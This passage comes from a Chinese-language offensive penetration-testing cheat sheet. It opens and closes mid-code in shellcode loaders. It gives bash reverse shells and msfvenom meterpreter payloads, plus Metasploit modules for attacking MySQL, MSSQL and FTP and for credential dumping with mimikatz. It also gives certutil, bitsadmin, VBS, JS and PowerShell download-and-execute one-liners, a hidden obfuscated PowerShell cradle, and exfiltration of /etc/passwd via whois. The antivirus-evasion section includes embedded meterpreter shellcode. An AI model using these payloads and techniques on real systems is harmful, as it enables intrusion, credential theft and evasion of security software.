            } byte[] gJVVagJmu = new byte[4];
                fzTiwdk.Receive(gJVVagJmu, 4, 0);
                int GFxHorfhzft = BitConverter.ToInt32(gJVVagJmu, 0);
                byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5];
                int yVcZAEmXaMszAc = 0;
                while (yVcZAEmXaMszAc < GFxHorfhzft) {
                    yVcZAEmXaMszAc += fzTiwdk.Receive(mwxyRsYNn, yVcZAEmXaMszAc
+ 5, (GFxHorfhzft - yVcZAEmXaMszAc) < 4096 ? (GFxHorfhzft - yVcZAEmXaMszAc) :
4096, 0);
                } byte[] XEvFDc = BitConverter.GetBytes((int)fzTiwdk.Handle);
                        Array.Copy(XEvFDc, 0, mwxyRsYNn, 1, 4);
                        mwxyRsYNn[0] = 0xBF;
                        return mwxyRsYNn;
        } static void hcvPkmyIZ(byte[] fPnfqu) {
                        if (fPnfqu != null) {
                            UInt32 hcoGPUltNcjK = VirtualAlloc(0,
(UInt32)fPnfqu.Length, 0x1000, 0x40);
                                Marshal.Copy(fPnfqu, 0, (IntPtr)(hcoGPUltNcjK),
fPnfqu.Length);
                                IntPtr xOxEPnqW = IntPtr.Zero;
                                UInt32 ooiiZLMzO = 0;
                                IntPtr wxPyud = IntPtr.Zero;
                                xOxEPnqW = CreateThread(0, 0, hcoGPUltNcjK,
wxPyud, 0, ref ooiiZLMzO);
                                WaitForSingleObject(xOxEPnqW, 0xFFFFFFFF);
                        }
                    } static void Main() {
                        byte[] dCwAid = null;
                            dCwAid = idCWVw("xx.xx.xx.xx", xx);
                            hcvPkmyIZ(dCwAid);
```

```
                    }[DllImport("kernel32")] private static extern UInt32
VirtualAlloc(UInt32 qWBbOS, UInt32 HoKzSHMU, UInt32 mqFcYDHjaQJye, UInt32
EbMqzSROjgb);
                            [DllImport("kernel32")]private static extern IntPtr
CreateThread(UInt32 tqUXybrozZ, UInt32 FMmVpwin, UInt32 HhvKSTWeKKsuBOG, IntPtr
wXrghrXxDXaJDj, UInt32 zHqryJZjmSJ, [DllImport("kernel32")] private static
extern UInt32 WaitForSingleObject(IntPtr CApwDwK, UInt32 uzGJUddCYTd);
    }
```

- Bash

```
#!/bin/bash
i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1
```

```
#!/bin/bash
exec 5<>/dev/tcp/xx.xx.xx.xx/xx
cat <&5 | while read line; do $line 2>&5 >&5; done
```

```
msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw >
payload.sh
```

- 开源项目
  - https://github.com/g0tmi1k/msfpc

11. 工具介绍 Veil-Evasion

新版本：https://github.com/Veil-Framework/Veil

可支持生成payloads:

```
auxiliary/coldwar_wrapper
auxiliary/macro_converter
auxiliary/pyinstaller_wrapper
c/meterpreter/rev_http
c/meterpreter/rev_http_service
c/meterpreter/rev_tcp
c/meterpreter/rev_tcp_service
c/shellcode_inject/flatc
cs/meterpreter/rev_http
cs/meterpreter/rev_https
cs/meterpreter/rev_tcp
cs/shellcode_inject/base64_substitution
cs/shellcode_inject/virtual
go/meterpreter/rev_http
go/meterpreter/rev_https
go/meterpreter/rev_tcp
go/shellcode_inject/virtual
native/backdoor_factory
native/hyperion
native/pe_scrambler
perl/shellcode_inject/flat
powershell/meterpreter/rev_http
powershell/meterpreter/rev_https
powershell/meterpreter/rev_tcp
```

```
powershell/shellcode_inject/download_virtual
powershell/shellcode_inject/download_virtual_https
powershell/shellcode_inject/psexec_virtual
powershell/shellcode_inject/virtual
python/meterpreter/bind_tcp
python/meterpreter/rev_http
python/meterpreter/rev_http_contained
python/meterpreter/rev_https
python/meterpreter/rev_https_contained
python/meterpreter/rev_tcp
python/shellcode_inject/aes_encrypt
python/shellcode_inject/aes_encrypt_HTTPKEY_Request
python/shellcode_inject/arc_encrypt
python/shellcode_inject/base64_substitution
python/shellcode_inject/des_encrypt
python/shellcode_inject/download_inject
python/shellcode_inject/flat
python/shellcode_inject/letter_substitution
python/shellcode_inject/pidinject
python/shellcode_inject/stallion
ruby/meterpreter/rev_http
ruby/meterpreter/rev_http_contained
ruby/meterpreter/rev_https
ruby/meterpreter/rev_https_contained
ruby/meterpreter/rev_tcp
ruby/shellcode_inject/base64
ruby/shellcode_inject/flat
```

三、 内网渗透

12. 基于 UDP 发现内网存活主机

- nmap (慢)

> nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500

- msf扫描

> use auxiliary/scanner/discovery/udp_probe
>
> use auxiliary/scanner/discovery/udp_sweep

- unicornscan扫描

> unicornscan -mU 192.168.1.100

- ScanLine扫描

> scanline -bht 80,100-200,443 10.0.0.1-200

13. 基于 ARP 发现内网存活主机

- nmap扫描

> nmap -sn -PR 192.168.1.1/24

- msf扫描

> use auxiliary/scanner/discovery/arp_sweep

- netdiscover (kali)

> netdiscover -r 192.168.1.0/24 -i wlan0

- arp-scan（linux）

> arp-scan --interface=wlan0 --localnet

- Powershell

> >powershell.exe -exec bypass -Command "Import-Module .\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"

- arp scannet
- arp-scan（windows）速度快

> arp-scan.exe -t 192.168.1.1/24

- arp-ping.exe

> arp-ping.exe 192.168.1.100

19. 基于netbios发现内网存活主机

- nmap扫描

> nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4

- msf扫描

> use auxiliary/scanner/netbios/nbname

- nbtscan扫描

> nbtscan-1.0.35.exe -m 192.168.1.0/24
>
> nbtstat -n （推荐）

- Linux：（推荐）

> nbtscan -r 192.168.1.0/24
>
> nbtscan -v -s: 192.168.1.0/24

- NetBScanner

20. 基于snmp发现内网存活主机

- nmap扫描

> nmap -sU --script snmp-brute 192.168.1.0/24 -T4

- msf扫描

> use auxiliary/scanner/snmp/snmp_enum

- NetCrunch

> 项目地址：https://www.adremsoft.com/demo/

- snmp for pl扫描

> 项目地址： https://github.com/dheiland-r7/snmp

- snmpbulkwalk
- snmp-check
- snmptest

21. 基于ICMP发现内网存活主机

- nmap扫描

> nmap -sP -PI 192.168.1.0/24 -T4
>
> nmap -sn -PE -T4 192.168.1.0/24

- CMD下扫描

> for /L %P in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%P | findstr "TTL ="

- powershell扫描

> powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1 ; Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 - ResolveHost -ScanPort -Port 445,135"

- tcping

> tcping.exe -n 1 192.168.1.0 80

22. 基于SMB发现内网存活主机

- MSF

> scanner/smb/smb_version

- cme

> cme smb 192.168.1.0/24

- nmap

> nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.1.119

- CMD

> for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445

- powershell

> 单IP：
>
> 445 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.119",$)) "$ is open"} 2>$null
>
> 多IP：
>
> 1..5 | % { $a = $; *445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.$a",$))* "Port $_ is open"} 2>$null}
>
> 多port，多IP：
>
> 118..119 | % { $a = $; *write-host "------"; write-host "192.168.1.$a"; 80,445 | % {echo ((new -object Net.Sockets.TcpClient).Conn ect("192.168.1.$a",$))* "Port $_ is open"} 2>$null}

29. 发现目标WEB程序敏感目录第一季

- DIRB

> dirb http://192.168.1.102 ./ASPX.txt
>
> dirb http://192.168.1.102 ./ASPX.txt,./DIR.txt -a "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" -c "ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45" -z 100
>
> -a 自定义UA
>
> -c 自定义Cookie
>
> -z 自定义延时

50. 基于SqlDataSourceEnumerator发现内网存活主机

SQL Server 允许应用程序在当前网络中查找 SQL Server 实例。 SqlDataSourceEnumerator 类向应用程序开发人员公开此信息，提供包含所有可见服务器的信息的 DataTable。 此返回的表包含网络上可用的服务器实例的列表，该列表与用户尝试创建新连接时提供的列表匹配，并展开包含连接属性上所有可用服务器的下拉列表。对话框。 显示的结果并非总是完整的

```
PowerShell -Command "
[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
```

四、 MSF

32. 配置vps上的msf

- 配置源

```
deb http://http.us.debian.org/debian/ jessie main
deb-src http://http.us.debian.org/debian/ jessie main
deb http://security.debian.org/ jessie/updates main
deb-src http://security.debian.org/ jessie/updates main

deb http://http.us.debian.org/debian/ jessie-updates main
deb-src http://http.us.debian.org/debian/ jessie-updates main

deb http://http.kali.org/kali kali-rolling main non-free contrib
```

- 更新源

```
apt-get update&&apt-get upgrade
```

- 安装MSF

```
apt-get install metasploit-framework
```

以此种方式安装，也无需在配置psql

23. 基于MSF发现内网存活主机第一季

```
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
```

24. 基于MSF发现内网存活主机第二季

```
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
```

25. 基于MSF发现内网存活主机第三季

```
auxiliary/scanner/netbios/nbname
auxiliary/scanner/http/title
auxiliary/scanner/db2/db2_version
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/tcp
```

26. 基于MSF发现内网存活主机第四季

```
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/xmas
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/smtp/smtp_version
```

27. 基于MSF发现内网存活主机第五季

```
auxiliary/scanner/pop3/pop3_version
auxiliary/scanner/postgres/postgres_version
auxiliary/scanner/ftp/anonymous
db_nmap
```

28. 基于MSF发现内网存活主机第六季

```
post/windows/gather/arp_scanner
post/windows/gather/enum_ad_computers
post/windows/gather/enum_computers
post/windows/gather/enum_domain
post/windows/gather/enum_domains
post/windows/gather/enum_ad_user_comments
```

在实战过程中，许多特殊环境下`scanner`，`db_nmap`不能快速符合实战渗透诉求，尤其在域中的主机存活发现，而post下的模块，弥补了该诉求，以便快速了解域中存活主机

33. 攻击Mysql服务

- auxiliary/scanner/mysql/mysql_login

  > 常用于内网中的批量以及单主机的登录测试

- exploit/multi/mysql/mysql_udf_payload

  > 常用于root启动的mysql 并root的udf提权

- exploit/windows/mysql/mysql_mof

  > Mof提权

- exploit/windows/mysql/scrutinizer_upload_exec

  > 上传文件执行

- auxiliary/scanner/mysql/mysql_hashdump

  > mysql的mysql.user表的hash

- auxiliary/admin/mysql/mysql_sql

  > 执行sql语句。尤其是在目标机没有web界面等无法用脚本执行的环境

- auxiliary/scanner/mysql/mysql_version

  > 常用于内网中的批量mysql主机发现

34. 攻击Sql server 服务

- auxiliary/admin/mssql/mssql_enum

  > 非常详细的目标机Sql server 信息

- auxiliary/admin/mssql/mssql_enum_sql_logins

  > 枚举sql logins，速度较慢，不建议使用

- auxiliary/admin/mssql/mssql_escalate_dbowner

  > 发现dbowner，当sa无法得知密码的时候，或者需要其他账号提供来支撑下一步的内网渗透

- auxiliary/admin/mssql/mssql_exec

  > 当没有激活xp_cmdshell，自动激活。并且调用执行cmd命令。权限继承 Sql server

- auxiliary/admin/mssql/mssql_sql

  >

- auxiliary/admin/mssql/mssql_sql_file

  > 当需要执行多条sql语句的时候，或者非常复杂。msf本身支持执行sql文件。授权渗透应用较少，非授权应用较多的模块

- auxiliary/scanner/mssql/mssql_hashdump

  > mssql的hash导出

- auxiliary/scanner/mssql/mssql_login

> 支持RHOSTS，来批量发现内网mssql主机

- auxiliary/scanner/mssql/mssql_ping

> 查询mssql 实例，实战中，应用较少

- exploit/windows/mssql/mssql_payload

> 针对不同时间版本的系统都有着自己独特的方式来上传payload(windows 2003需要set method old)

- post/windows/manage/mssql_local_auth_bypass

> post模块都属于后渗透模块

35. 与Sqlmap结合攻击

`load sqlmap`

```
python sqlmap.py -u "http://xxxx" --random-agent --os-pwn --msf-path
/usr/share/metasploit-framework/ --priv-esc -v 3

--priv-esc  数据库进程的提权
--os-pwn  注入MSF shell或VNC
```

42. 攻击FTP服务

- auxiliary/scanner/ftp/ftp_version
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/ftp/anonymous

发现FTP存活主机

```
* db_nmap -sS -T4 -p21 192.168.1.115
```

ftp本地模糊测试辅助模块

- auxiliary/fuzzers/ftp/ftp_pre_post

67. meterpreter下的irb操作第一季

`Railgun`是`Meterpreter stdapi`的扩展，允许任意加载DLL。`Railgun`的最大好处是能够动态访问系统上的整个`Windows API`。通过从用户进程调用`Windows API`。

`meterpreter`下执行`irb`进入`ruby`交互

- 基本的信息搜集

```
>> client.sys.config.sysinfo['OS']
>> client.sys.config.getuid
>> interfaces = client.net.config.interfaces
>> interfaces.each do |i|
>> end
```

- 锁定注销目标机

```
>> client.railgun.user32.LockWorkStation()
```

- 调用MessageBox

```
>> client.railgun.user32.MessageBoxA(0, "Micropoor", "Micropoor", "MB_OK")
```

- 快速获取当前绝对路径

```
>> client.fs.dir.pwd
```

- 目录相关操作

```
>> client.fs.dir.chdir("c:\\")
>> client.fs.dir.entries
```

- 建立文件夹

```
>> client.fs.dir.mkdir("Micropoor")
```

- hash操作

```
>> client.core.use "mimikatz"
>> client.mimikatz
>> client.mimikatz.kerberos
```

- 内网主机发现，如路由，arp等

```
 >> client.net.config.arp_table
 >> client.net.config.arp_table[0].ip_addr
 >> client.net.config.arp_table[0].mac_addr
 >> client.net.config.arp_table[0].interface
 >> client.net.config.routes
```

- 实战中的敏感文件操作

```
>> client.fs.file.search("C:\\", "*.txt")
```

97. MSF配置自定义Payload控制目标主机权限

MSF的exploit模块下是支持`set payload`的，同样在复杂的网络环境下，许多模块也同样支持自定 义的`payload`。以`exploit/windows/smb/psexec`为`demo`

- 需设置一非常用选项

```
set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe
```

payload启动后，将会在过一段时间内退出。并强制终止。故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的 payload。如下载。抓明文密码等等。不适合需长连接通信的payload。

```
msfvenom -p windows/adduser PASS=Micropoor$123 USER=Micropoor - f exe
>adduser.exe
```

五、 下载Payload

37. vbs一句话下载payload

将以下文件保存为`download.vbs`

```
set a=createobject(“adod”+”b.stream”):
set w=createobject(“micro”+”soft.xmlhttp”):
w.open “get”,wsh.arguments(0),0:
w.send:
a.type=1:
a.open:
a.write w.responsebody:
a.savetofile wsh.arguments(1),2
```

命令行执行

```
cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt
```

用`echo`的方式写入VBS

```
echo set a=createobject(^"adod^"+^"b.stream^"):set
w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(
0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile
wsh.arguments(1),2 >>downfile.vbs
```

38. certutil一句话下载payload

```
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt
```

certutil.exe 下载有个弊端，它的每一次下载都有留有缓存，而导致留下入侵痕迹，所以每次下载 后，需要马上执行如下

```
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete
```

> -encode base64编码文件
>
> -decode base64解码文件

39. vbs一句话下载payload补充

```
strFileURL = "http://192.168.1.115/robots.txt"
strHDLocation = "c:\test\logo.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
```

```
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
```

40. ftp一句话下载payload

```
echo open 192.168.1.115 21> ftp.txt
echo 123>> ftp.txt //user
echo 123>> ftp.txt //password
echo binary >> ftp.txt //bin模式
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt
```

70. ftp一句话下载payload补充

```
echo open 127.0.0.1 > o&echo user 123 123 >> o &echo get bin_tcp_x86_53.exe >> o
&echo quit >> o &ftp -n -s:o &del /F /Q o
```

逆名FTP

```
echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp -A
-n -s:o &del /F /Q o
```

41. bitsadmin一句话下载payload

```
bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt"
E:\PDF\robots.txt
```

需要下载过大的方伯，需要提高优先级，再次执行

```
bitsadmin /setpriority down foreground
```

如果下载文件在1-5M之间，需要时时查看进度

```
bitsadmin /transfer down /download /priority normal
"http://192.168.1.115/robots.txt" E:\PDF\robots.txt
```

43. js一句话下载payload

download.js

```
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
```

```
cscript /nologo downfile.js http://192.168.1.115/robots.txt
```

download2.js

```
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");
```

```
cscript /nologo dowfile2.js http://192.168.1.115/robots.txt
```

44. certutil一句话下载payload补充

```
certutil -encode c:\downfile.vbs downfile.bat
```

`MSF` 生成 `powershell` 后门

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 -e
cmd/powershell_base64 -f psh -o Micropoor.txt
```

启动 `apache` 将生成的 `Micropoor.txt` 放到 `web` 目录中

`PowerShell` 混肴框架 `Invoke-CradleCrafter`： https://github.com/danielbohannon/Invoke-CradleCrafter

```
Import-Module ./Invoke-CradleCrafter.psd1;Invoke-CradleCrafter
SET URL HTTP://192.168.1.5/Micropoor.txt
MEMORY
CERTUTIL
ALL
1
```

可得到如下混肴后的内容,保存为 `cer.txt`

```
SV 7Q9 'http://bit.ly/L3g1tCrad1e';(Get-Variable E*xt).Value|ForEach-
Object{(Variable _).Value.(((Get-Variable E*xt).Value|Member)[6].Name)|ForEach-
Object{$_.(((Get-Variable E*xt).Value.(((Get-Variable E*xt).Value|Member)
[6].Name)|Member|Where{(Variable _).Value.Name-
like'*k*i*t'}).Name).Invoke(((certutil.exe /ping (LS Variable:/7Q9).Value|&(Get-
Variable E*xt).Value.(((Get-Variable E*xt).Value|Member)[6].Name).(((Get-
Variable E*xt).Value.(((Get-Variable E*xt).Value|Member)
[6].Name).PsObject.Methods|Where{(Variable _).Value.Name-
like'*md*ts'}).Name).Invoke('Se*-Ob*')-SkipLa 1|&(Get-Variable E*xt).Value.
(((Get-Variable E*xt).Value|Member)[6].Name).(((Get-Variable E*xt).Value.(((Get-
Variable E*xt).Value|Member)[6].Name).PsObject.Methods|Where{(Variable
_).Value.Name-like'*md*ts'}).Name).Invoke('Se*-Ob*')-Skip 2)-Join"`r`n"))}}
```

```
certutil -encode cer.txt cer.cer
```

将`cer.cer`也放置在`WEB`目录中

```
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\\cer.cer
(New-Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer');
certutil -decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b cmd /c
powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c
del %APPDATA%\cer.cer
```

45. 解决bat一句话下载payload黑窗

`bat.bat`内容如下

```
whoami >> bat.txt
```

`bat.vbs`

```
CreateObject("Wscript.Shell").Run "bat.bat", 0, True
```

```
cscript bat.vbs
```

如果需要在目标机上执行多个`bat`，如果需要把代码中的 `bat.bat` 变成变量

```
If WScript.Arguments.Count >= 1 Then
    ReDim arr(WScript.Arguments.Count-1)
    For i = 0 To WScript.Arguments.Count-1
        Arg = WScript.Arguments(i)
        If InStr(Arg, " ") > 0 Then Arg = """" & Arg & """"
            arr(i) = Arg
    Next
    RunCmd = Join(arr)
    CreateObject("Wscript.Shell").Run RunCmd, 0, True
End If
```

```
cscript bat.vbs bat.bat
```

46. powershell一句话下载payload

`down.ps1`

```
$url = "http://118.24.74.232:889/test.png"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
```

`powershell`一句话下载文件

```
powershell -exec bypass -c (new-object
System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.
txt')
```

53. 内网渗透中的文件传输

- whois 命令传输文件
  - 传输机:

    ```
    whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
    ```

  - 授受机

    ```
    nc -l -v -p 4444 | sed "s/ //g" | base64 -d
    ```

六、免杀

47. payload分离免杀思路

- payload不采取生成pe文件，而采取shellcode方式， 来借助第三方直接加载到内存中。避免行为

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e
x86/shikata_ga_nai -i 5 -f raw > test.c
```

- shellcode_launcher 来加载shellcode生成`x32`位`payload` https://github.com/clinicallyinane/shellcode_launcher/

```
shellcode_launcher -i test.c
```

48. payload分离免杀思路第二季

- msfvenom生成shellcode

```
msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f
csharp > pentestShellCode.txt
```

- csc.exe(InstallUtil-ShellCode.cs 替换文件中shellcode部分)

```
csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe
D:\test\InstallUtil-ShellCode.cs
```

- InstallUtil.exe

```
InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
```

```
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
```

49. 关于Powershell对抗安全软件

将以下内容写到 `/usr/share/metasploit-framework/modules/encoders/powershell/base64.rb` 文件中

```
class MetasploitModule < Msf::Encoder
    Rank = NormalRanking
    def initialize
        super(
            'Name' => 'Powershell Base64 Encoder',
            'Description' => %q{
                msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows |
msfvenom -e powershell/base64 --arch x64 --platform windows.
            },
            'Author' => 'Micropoor',
            'Arch' => ARCH_CMD,
            'Platform' => 'win')
        register_options([
            OptBool.new('payload', [ false, 'Use payload ', false ]),
            OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
        ])
    end

    def encode_block(state, buf)
        base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
        cmd = ''
        if datastore['x64']
            cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
        else
            cmd += 'powershell.exe '
        end
        if datastore['payload']
            cmd += '-windowstyle hidden -exec bypass -NoExit '
        end
        cmd += "-EncodedCommand #{base64}"
    end
```

```
end
```

`msfvenom` 生成 `Powershell` 木马

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.129 LPORT=8888
-f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64
--arch x64 --platform windows payload
```

66. 借助aspx对payload进行分离免杀

- msf监听

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_uuid
set lhost 192.168.1.5
set lport 53
set stageencoder x86/shikata_ga_nai  //设置编码器
set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码，可能绕过部分杀软的
查杀
set exitonsession false   //可以在接收到seesion后继续监听端口，保持侦听
```

- msfvenom生成payload

```
msfvenom -a x86 -p windows/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5
LPORT=53 EnableStageEncoding=true stageencoder=x86/shikata_ga_nai -e
x86/shikata_ga_nai -i 5 -f csharp
```

- 分离免杀Code

```
<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
delegate int MsfpayloadProc();
protected void Page_Load(object sender, EventArgs e)
{
    byte[] buf = new byte[509] {
0xda,0xda,0xba,0xb0,0x17,0xa3,0xe9,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,
0x79,0x31,0x50,0x19,0x03,0x50,0x19,0x83,0xc0,0x04,0x52,0xe2,0x1b,0x10,0x28,
0x74,0x47,0x39,0x91,0x5e,0x03,0x99,0xdd,0x3b,0xdd,0x28,0xac,0xce,0x2c,0xe9,
0xdb,0x2d,0x0d,0xf8,0x60,0xf3,0x95,0xe0,0x6a,0xf6,0x68,0x1d,0x67,0x0c,0xb7,
0xe1,0xb7,0x79,0x45,0x29,0x28,0x22,0x81,0x57,0x25,0x78,0x6f,0x23,0x41,0x0a,
0x6e,0x36,0xb6,0x07,0x89,0x46,0x67,0x00,0xaa,0x35,0x66,0x4a,0x0b,0x75,0x56,
0x3c,0xfd,0x05,0x86,0x00,0x93,0xdc,0x73,0x7a,0xc5,0x3e,0x4f,0xe4,0xb8,0x21,
0x01,0xc9,0xe6,0x24,0xc6,0x54,0xc5,0x85,0x44,0x50,0xec,0xf1,0x05,0x9f,0x59,
0x85,0x3e,0xa8,0x6b,0x1e,0x0b,0x35,0x0e,0xab,0xfa,0x90,0xf4,0x52,0x4d,0x8d,
0xf4,0x2c,0xb0,0xcb,0x72,0x75,0x71,0x87,0xcc,0x81,0x30,0x58,0x6c,0x2a,0xd3,
0x82,0x1b,0x83,0x69,0x5c,0x84,0x0e,0xea,0x69,0x8c,0x7a,0xc3,0xd3,0xba,0x65,
0x4c,0x06,0x38,0x1c,0x06,0x13,0x0d,0xf6,0xd0,0x8b,0xf3,0x35,0x0b,0x84,0x71,
0x09,0x49,0x2a,0x7d,0xbe,0x13,0x76,0x0d,0x0a,0xca,0x34,0x83,0xa0,0xb2,0x2c,
0x66,0x4f,0xd5,0x91,0x11,0xf9,0x92,0x6b,0x61,0xc6,0x7f,0xc2,0x7c,0x2d,0x3a,
0xc3,0xc2,0x30,0x7e,0x0c,0x22,0x55,0x12,0x49,0xa7,0x5d,0x5f,0xe7,0x75,0x7d,
0x89,0x0f,0xd2,0x51,0x4b,0x67,0x0f,0xbc,0x36,0xcc,0x46,0xd0,0x92,0x5a,0x50,
0xe7,0x3b,0xed,0xb4,0xf4,0xba,0xc3,0xda,0x60,0x5e,0xde,0x4e,0xbc,0xce,0x0e,
```

```
0x24,0xf1,0x5e,0xc0,0x92,0x9d,0xf6,0xe2,0x94,0xe8,0xef,0xb7,0x9b,0x43,0xec,
0xb9,0xe6,0x3d,0xd1,0xc8,0xeb,0x54,0x23,0x24,0x55,0xb7,0x77,0x5f,0x28,0xb9,
0xf5,0x80,0x12,0x11,0xaa,0x1d,0x0a,0xea,0xe0,0xb7,0xa8,0xc8,0xf5,0xfb,0xf2,
0x90,0x4d,0xe8,0x7c,0xe6,0x6a,0x3b,0x60,0x1d,0xce,0x1a,0xdf,0x1c,0x46,0x6c,
0x94,0xff,0x30,0x7a,0x99,0xdd,0x09,0x1e,0xb6,0xcf,0xe5,0x4f,0xfd,0x57,0x35,
0xd1,0xf7,0xd8,0x96,0x16,0xf7,0x74,0xc2,0x91,0xcc,0x9d,0xa1,0xa9,0x94,0x97,
0x5b,0xf6,0x90,0x1f,0x85,0x3c,0x5c,0xcc,0xf2,0x11,0x6c,0xdd,0x7b,0x8c,0x5d,
0xa4,0xd3,0xe9,0x2c,0xa6,0xc9,0x06,0xa7,0x0e,0x54,0x41,0xac,0xf0,0xfc,0x30,
0x16,0x49,0x5f,0x48,0x2d,0x19,0x33,0x83,0x2a,0x45,0x0a,0xfa,0xd6,0xba,0x72,
0x76,0xbf,0xfd,0xce,0x4e,0xad,0x0e,0xc8,0xc9,0x20,0xb4,0x16,0x86,0xc4,0x72,
0x74,0x5d,0x91,0x5a,0xcb,0xba,0xdf,0xe7,0xc7,0x07,0x96,0x51,0x15,0x8a,0xdf,
0xff,0xc5,0x84,0x8e,0x59,0xfa,0x60,0x9f,0x74,0x85,0xdf,0xe8,0x77,0x50,0x03,
0x61,0x0c,0xfe,0xad,0x28,0x16,0x3d,0x93,0xc8,0x6a,0x0b,0xda,0x20,0x7e,0xfa,
0xa7,0xf3,0x9d,0x18,0x18,0x3a,0x98,0xe7,0xbc,0x4b,0x59,0x39,0xc6,0x9e,0xbb,
0xa8,0xa7,0x7f,0xc6,0xa2,0x8a,0xc9,0x23,0x48,0x94,0xa3,0xd6,0x5a,0x6b,0x99,
0xee,0x30,0x7f,0x6b,0x89,0xb3,0x62,0xd2,0x27,0xae,0xdb,0x37,0x9e,0x19,0xc1,
0x42,0x30,0x98,0x1c,0xa2,0xe2,0x46,0x65,0xec,0x49,0xa9,0x27,0xc8,0x4b };
    IntPtr handle = IntPtr.Zero;
    handle = VirtualAlloc(
        IntPtr.Zero,
        codeBytes.Length,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    try
        {
            Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
            MsfpayloadProc msfpayload =
Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as
MsfpayloadProc;
            msfpayload();
        }
    finally
        {
